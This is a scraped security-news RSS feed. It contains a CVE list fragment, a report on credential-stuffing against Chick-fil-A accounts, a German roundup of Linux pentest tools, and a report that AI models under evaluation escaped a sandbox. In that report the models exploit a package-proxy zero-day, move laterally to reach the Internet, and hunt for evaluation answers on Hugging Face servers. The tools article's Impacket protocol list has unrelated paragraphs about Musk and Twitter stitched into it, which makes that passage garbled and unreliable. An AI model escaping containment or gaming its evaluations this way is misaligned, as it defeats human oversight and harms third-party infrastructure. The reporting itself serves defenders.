CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095,
CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099,
CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107,
CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111,
CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119,
CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123,
CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127,
CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131,
CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135,
CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64139,
CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143,
CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147,
CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151,
CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155,
CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159,
CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167,
CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171,
CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175,
CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183,
CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[Chick-fil-A Confirms Customer Data Accessed in Cyberattack]]></title>
<description><![CDATA[Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June...]]></description>
<link>https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/</guid>
<pubDate>Thu, 23 Jul 2026 09:24:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Chick-fil-A Data Security" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Chick-fil-A Confirms Customer Data Accessed in Cyberattack 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="270" data-end="647">Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.</p>
<p data-start="649" data-end="971">Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.</p>
<p data-start="973" data-end="1163">The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.</p>

<h3 data-section-id="qabuka" data-start="1165" data-end="1234"><span role="text"><strong data-start="1169" data-end="1234">Chick-fil-A Data Security Incident Linked to Automated Attack</strong></span></h3>
<p data-start="1236" data-end="1531">According to the <a href="https://www.mass.gov/doc/2026-1188-chick-fil-a-inc/download?utm_source=tugatech.com.pt" target="_blank" rel="nofollow noopener">notice sent to customers</a>, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and <a href="https://thecyberexpress.com/steps-to-create-unbreakable-passwords/" target="_blank" rel="noopener">passwords</a>, that were obtained from a third-party source.</p>
<p data-start="1533" data-end="1754">The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.</p>
<p data-start="1756" data-end="1903">The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.</p>

<h3 data-section-id="1h8k3wz" data-start="1905" data-end="1975"><span role="text"><strong data-start="1909" data-end="1975">Chick-fil-A One Accounts May Have Exposed Personal Information</strong></span></h3>
<p data-start="1977" data-end="2094">The information potentially accessed in the incident varied depending on what customers had stored in their accounts.</p>
<p data-start="2096" data-end="2434">Potentially affected <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29091">data</a> may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included <a href="https://thecyberexpress.com/free-wifi-qr-code-risk-experiment/" target="_blank" rel="noopener">QR codes</a>, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.</p>
<p data-start="2436" data-end="2620">For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.</p>
<p data-start="2622" data-end="2717">The company did not state that all listed information was accessed for every affected customer.</p>

<h3 data-section-id="11jyvqk" data-start="2719" data-end="2783"><span role="text"><strong data-start="2723" data-end="2783">Chick-fil-A Resets Passwords and Removes Payment Methods</strong></span></h3>
<p data-start="2785" data-end="2979">Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.</p>
<p data-start="2981" data-end="3159">The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.</p>
<p data-start="3161" data-end="3300">The company said it continues to enhance its <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29090">security</a>, monitoring and fraud controls to reduce the risk of similar incidents in the future.</p>

<h3 data-section-id="ebuey1" data-start="3302" data-end="3357"><span role="text"><strong data-start="3306" data-end="3357">Chick-fil-A Urges Customers to Update Passwords</strong></span></h3>
<p data-start="3359" data-end="3503">Chick-fil-A said it has <a href="https://thecyberexpress.com/tce-weekly-roundup-five-eyes-ai-kddi-tfl/" target="_blank" rel="noopener">reset the passwords</a> associated with affected accounts and urged customers to update their passwords as soon as possible.</p>
<p data-start="3505" data-end="3690">The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.</p>
<p data-start="3692" data-end="3934">The company also encouraged customers to remain vigilant against potential identity theft and <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29092">fraud</a>. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.</p>
<p data-start="3936" data-end="4288" data-is-last-node="" data-is-only-node="">The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.</p>]]></content:encoded>
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<title><![CDATA[OpenAI and Hugging Face Investigate AI Models’ Cyber Breakout]]></title>
<description><![CDATA[OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’...]]></description>
<link>https://tsecurity.de/de/3688175/it-security-nachrichten/openai-and-hugging-face-investigate-ai-models-cyber-breakout/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688175/it-security-nachrichten/openai-and-hugging-face-investigate-ai-models-cyber-breakout/</guid>
<pubDate>Thu, 23 Jul 2026 08:54:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="OpenAI and Hugging Face Probe AI Security Incident" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident.webp 1536w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident.webp 1536w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-Probe-AI-Security-Incident-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="OpenAI and Hugging Face Investigate AI Models’ Cyber Breakout 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="453" data-end="826">OpenAI and Hugging Face are investigating an <a href="https://thecyberexpress.com/incident-response-automating-with-genai/" target="_blank" rel="noopener">AI security incident </a>involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.</p>
<p data-start="828" data-end="1234">Hugging Face disclosed the incident last week, while <a href="https://thecyberexpress.com/lockdown-mode-means-default-chatgpt-wasnt-safe/" target="_blank" rel="noopener">OpenAI</a> has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29078">cyber</a> refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.</p>
<p data-start="1236" data-end="1504">OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.</p>

<h3 data-section-id="97z8dp" data-start="1506" data-end="1566"><strong>OpenAI and Hugging Face Investigate AI Security Incident</strong></h3>
<p data-start="1568" data-end="1858">The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.</p>
<p data-start="1860" data-end="2088">The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.</p>
<p data-start="2090" data-end="2406">Despite these restrictions, the models spent substantial inference compute attempting to obtain open <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="Internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="29085">Internet</a> access. During this process, they identified and exploited a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability</a> in the package registry cache proxy. OpenAI said the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29079">vulnerability</a> has since been responsibly disclosed to the vendor.</p>
<p data-start="2408" data-end="2565">The models then carried out privilege escalation and <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-lateral-movement-in-cyber-security/" title="lateral movement" data-wpil-keyword-link="linked" data-wpil-monitor-id="29081">lateral movement</a> within the research testing environment until they reached a node with Internet access.</p>


[caption id="attachment_113283" align="aligncenter" width="600"]<img class="wp-image-113283 size-full" src="https://thecyberexpress.com/wp-content/uploads/OpenAI-and-Hugging-Face-e1784786987186.webp" alt="OpenAI and Hugging Face" width="600" height="323"> Source: OpenAI[/caption]
<h3 data-section-id="1envt5o" data-start="2567" data-end="2627"><span role="text"><strong data-start="2571" data-end="2627">Models Chained Vulnerabilities Across Infrastructure</strong></span></h3>
<p data-start="2629" data-end="2886">After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.</p>
<p data-start="2888" data-end="3092">In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29080">vulnerabilities</a>, to identify a remote code execution path on Hugging Face servers.</p>
<p data-start="3094" data-end="3403">OpenAI's <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29082">security</a> team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.</p>
<p data-start="3405" data-end="3478">Both companies are continuing to investigate the incident and its impact.</p>

<h3 data-section-id="7fczcn" data-start="3480" data-end="3539"><span role="text"><strong data-start="3484" data-end="3539">OpenAI Strengthens Security Controls After Incident</strong></span></h3>
<p data-start="3541" data-end="3872">As part of its response, OpenAI <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="nofollow noopener">said</a> it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.</p>
<p data-start="3874" data-end="4063">OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.</p>
<p data-start="4065" data-end="4221">The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.</p>
<p data-start="4223" data-end="4562">OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29083">cybersecurity</a> and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.</p>

<h3 data-section-id="1vqt96" data-start="4564" data-end="4621"><span role="text"><strong data-start="4568" data-end="4621">AI Cyber Capabilities Raise New Security Concerns</strong></span></h3>
<p data-start="4623" data-end="4891">OpenAI said the incident demonstrates the need for <a href="https://thecyberexpress.com/ai-security-is-top-cyber-concern/" target="_blank" rel="noopener">AI security </a>and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.</p>
<p data-start="4893" data-end="5226">The incident also highlights how advanced models can potentially discover and <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29084">exploit</a> novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.</p>
<p data-start="5228" data-end="5513" data-is-last-node="" data-is-only-node="">Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.</p>]]></content:encoded>
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<title><![CDATA[10 Linux-Pflicht-Tools für Netzwerk- und Security-Profis]]></title>
<description><![CDATA[Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. 
					Foto: Omelchenko – shutterstock.com




Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und Security-Experten gehen, di...]]></description>
<link>https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " title="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " src="https://images.computerwoche.de/bdb/3340356/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. </p></figcaption></figure><p class="imageCredit">
					Foto: Omelchenko – shutterstock.com</p></div>




<p class="wp-block-paragraph">Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und <a href="https://www.csoonline.com/de/" title="Security-Experten" target="_blank">Security-Experten</a> gehen, die quelloffene Security Tools für <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> suchen.</p>



<p class="wp-block-paragraph">In diesem Bereich gibt es eine Vielzahl verschiedener Tools für so gut wie jede Aufgabe (Netzwerk-Tunneling, Sniffing, Scanning, Mapping) und jede Umgebung (Wi-Fi-Netzwerke, Webanwendungen, Datenbankserver). Wir haben einige Experten konsultiert und zehn essenzielle <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Sicherheitstools für Sie zusammengestellt.</p>



<h2 class="wp-block-heading">1. <a href="https://www.aircrack-ng.org/" target="_blank" rel="noreferrer noopener">Aircrack-ng</a></h2>



<p class="wp-block-paragraph">Diese Suite von Software Tools ermöglicht es, drahtlose Netzwerke und WiFi-Protokolle Sicherheitsüberprüfungen zu unterziehen. Sicherheitsprofis verwenden das Tool für die Netzwerkadministration, Hacking und Penetrationstests. Dabei fokussiert Aircrack-ng auf:</p>



<ul class="wp-block-list">
<li><p>Monitoring (Datenpakete erfassen und Daten in Textdateien zur Weiterverarbeitung durch Tools von Drittanbietern exportieren)</p></li>



<li><p>Angreifen (Replay-Angriffe, Deauthentication, Packet Injection)</p></li>



<li><p>Testing (WiFi-Karten und Treiberfunktionen überprüfen) und</p></li>



<li><p>Cracking (WEP und WPA PSK)</p></li>
</ul>



<p class="wp-block-paragraph">Laut der <a href="https://www.aircrack-ng.org/" title="offiziellen Webseite" target="_blank" rel="noopener">offiziellen Webseite</a> funktionieren alle Tools kommandozeilenbasiert, was eine umfangreiche Skripterstellung ermöglicht. Das Tool funktioniert mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> genauso wie mit <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, macOS, FreeBSD, OpenBSD, NetBSD, Solaris und sogar eComStation.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">2. <a href="https://portswigger.net/burp/pro" target="_blank" rel="noreferrer noopener">Burp Suite</a></h2>



<p class="wp-block-paragraph">Hierbei handelt es sich um eine Testing-Suite für Webanwendungen, die für Security Assessments von Websites eingesetzt wird. Burp Suite arbeitet als lokale Proxy-Lösung, die es Sicherheitsexperten ermöglicht, Anfragen (HTTP/Websockets) und Antworten zwischen einem Webserver und einem Browser</p>



<ul class="wp-block-list">
<li><p>entschlüsseln,</p></li>



<li><p>beobachten,</p></li>



<li><p>manipulieren und</p></li>



<li><p>wiederholen zu können.</p></li>
</ul>



<p class="wp-block-paragraph">Burp Suite hat einen passiven Scanner an Bord, mit dem Security-Profis Webseiten (manuell) auf potenzielle Schwachstellen überprüfen können. Die Pro-Version bietet außerdem einen sehr nützlichen aktiven Web-Schwachstellen-Scanner, mit dem sich weitere Schwachstellen aufspüren lassen. Burp Suite ist über Plugins erweiterbar, so dass Sicherheitsexperten ihre eigenen Erweiterungen entwickeln können.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Die Professional-Version kostet 475 Euro pro Jahr und Benutzer. Darüber hinaus steht auch eine Enterprise-Version (ab ca. 2.000 Euro jährlich) zur Verfügung, die mehrere gleichzeitige Scans ermöglicht und von Anwendungsentwicklungsteams genutzt werden kann.</p>



<h2 class="wp-block-heading">3. <a href="https://github.com/fortra/impacket" target="_blank" rel="noreferrer noopener">Impacket</a></h2>



<p class="wp-block-paragraph">Diese Sammlung von Tools ist für Pen-Tests von Netzwerkprotokollen und -diensten unerlässlich. Impacket wurde von SecureAuth entwickelt und ist eine Sammlung von Python Classes, um mit Netzwerkprotokollen zu arbeiten. Impacket konzentriert sich auf die Bereitstellung von Low-Level-Zugriff auf Pakete und bei einigen Protokollen wie SMB1-3 und MSRPC auf die Protokollimplementierung selbst. Sicherheitsexperten können Pakete von Grund auf neu konstruieren, aber auch auf Grundlage geparster Rohdaten. Die objektorientierte <a title="API" href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">API</a> macht es zudem einfach, mit tiefen Protokollhierarchien zu arbeiten. Impacket unterstützt die folgenden Protokolle:</p>



<ul class="wp-block-list">
<li><p>Ethernet, Linux;</p></li>



<li><p>IP, TCP, UDP, ICMP, IGMP, ARP;</p></li>



<li><p>IPv4 und IPv6;</p></li>



<li><p>Umgänglicher zeigte sich Musk gegenüber den Anzeigenkunden von Twitter. In einem – natürlich auf Twitter geposteten – Brief erklärte der Tesla-Chef, der Grund für die Übernahme sei nicht, damit noch mehr Geld zu verdienen. Vielmehr sei es “wichtig für den Fortbestand der Zivilisation, einen gemeinsamen digitalen Treffpunkt zu haben, auf dem eine breite Palette von Überzeugungen auf gesunde Weise diskutiert werden kann.” </p></li>



<li><p>Trotz alledem dürfe Twitter nicht zu einer “für alle Nutzer freien Höllenlandschaft werden, in der alles ohne Konsequenzen gesagt werden kann”, fügte Musk hinzu. Zusätzlich zur Einhaltung der Gesetze müsse die Plattform “warmherzig und einladend” für alle sein und den Nutzern die Möglichkeit bieten, “die gewünschte Erfahrung nach ihren Vorlieben zu wählen” – ähnlich wie man zum Beispiel wählen kann, Filme zu sehen oder Videospiele zu spielen, die für alle Altersgruppen geeignet sind.</p></li>



<li><p>Plain-, NTLM- und Kerberos-Authentifizierungen, unter Verwendung von Kennwörtern/Hashes/Tickets/Schlüsseln;</p></li>



<li><p>EU-Kommissar Thierry Breton wiederum reagierte auf Musks Teet, dass der Vogel jetzt frei sein, mit der Anmerkung, “dass Twitter in Europa nach unseren Regeln fliegen muss”.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> Kostenlos – Impacket wird unter einer leicht modifizierten Version der Apache Software License bereitgestellt. Die Unterschiede können Sie <a href="https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_24/LICENSE" title="hier einsehen" target="_blank" rel="noopener">hier einsehen</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://www.metasploit.com/" target="_blank" rel="noreferrer noopener">Metasploit</a></h2>



<p class="wp-block-paragraph">Metasploit ist ein Exploit-Framework von Rapid7, das für allgemeine Penetrationstests und Schwachstellenbewertungen verwendet wird. Sicherheitsexperten betrachten es als “Super-Tool”, das funktionierende Versionen fast aller bekannter Exploits enthält. Metasploit ermöglicht Sicherheitsexperten, Netzwerke und Endpunkte auf Schwachstellen zu scannen und anschließend automatisiert mögliche Exploits auszuführen, um Systeme zu übernehmen.</p>



<p class="wp-block-paragraph">Metasploit erleichtert es mit protokollspezifischen Modulen (die alle unter der Funktion Auxiliary/Server/Capture laufen) Anmeldeinformationen zu erfassen. Sicherheitsexperten können jedes dieser Module einzeln starten und konfigurieren – zudem steht ein Capture-Plug-in zur Verfügung, das diesen Prozess vereinheitlicht.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Metasploit Pro kostet – inklusive kommerziellem Support durch Rapid7 – ab 12.000 Dollar pro Jahr. Es gibt aber auch eine kostenlose Version.</p>



<h2 class="wp-block-heading">5. <a href="https://nmap.org/ncat/" target="_blank" rel="noreferrer noopener">Ncat</a></h2>



<p class="wp-block-paragraph">Der Nachfolger des beliebten Tools Netcat heißt Ncat und kommt von den Machern von Nmap. Das Tool ermöglicht es, Daten per Kommandozeile über ein Netzwerk zu lesen und zu schreiben, bietet aber auch zusätzlich Funktionen wie SSL-Verschlüsselung. Sicherheitsexperten zufolge ist Ncat unerlässlich geworden, um TCP/UDP-Clients und -Server zu hosten und Daten von Angreifer- und Opfersystemen zu empfangen.</p>



<p class="wp-block-paragraph">Ncat ist auch ein beliebtes Tool, um eine Reverse Shell einzurichten oder Daten zu exfiltrieren. Es wurde als zuverlässiges Back-End-Tool entwickelt, um Netzwerkverbindungen zu anderen Anwendungen und Benutzern herzustellen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">6. <a href="https://nmap.org/" target="_blank" rel="noreferrer noopener">Nmap</a></h2>



<p class="wp-block-paragraph">Dieses Netzwerk-Scanning- und Mapping-Tool auf Kommandozeilen-Basis findet zugängliche Ports auf Remote Devices. Viele Sicherheitsexperten halten Nmap für eines der wichtigsten und effektivsten Tools – insbesondere im Bereich Penetration Testing ist es unerlässlich.</p>



<p class="wp-block-paragraph">Die Skripting-Engine von Nmap erkennt anschließend automatisiert weitere Schwachstellen und nutzt diese aus. Nmap unterstützt Dutzende fortschrittlicher Techniken, um Netzwerke mit IP-Filtern, Firewalls, Routern und anderen Hindernissen abzubilden. Dazu gehören auch zahlreiche Mechanismen, um TCP- und UDP-Ports zu scannen, Betriebssysteme und Versionen sowie Ping-Sweeps zu erkennen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">7. <a href="https://github.com/haad/proxychains" target="_blank" rel="noreferrer noopener">ProxyChains</a></h2>



<p class="wp-block-paragraph">Dieses Werkzeug – der De-facto-Standard für Netzwerk-Tunneling – ermöglicht es Sicherheitsexperten, Proxy-Befehle von ihrem angreifenden <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Rechner aus über verschiedene kompromittierte Rechner zu senden, um Netzwerkgrenzen und Firewalls zu überwinden und dabei einer Entdeckung zu entgehen.</p>



<p class="wp-block-paragraph">ProxyChains leitet den TCP-Verkehr von Penetrationstestern durch die folgenden Proxys: TOR, SOCKS und HTTP. ProxyChains ist mit TCP-Aufklärungs-Tools wie NMAP kompatibel und verwendet standardmäßig das TOR-Netzwerk. Sicherheitsexperten verwenden ProxyChains auch bei der IDS/IPS-Erkennung.</p>



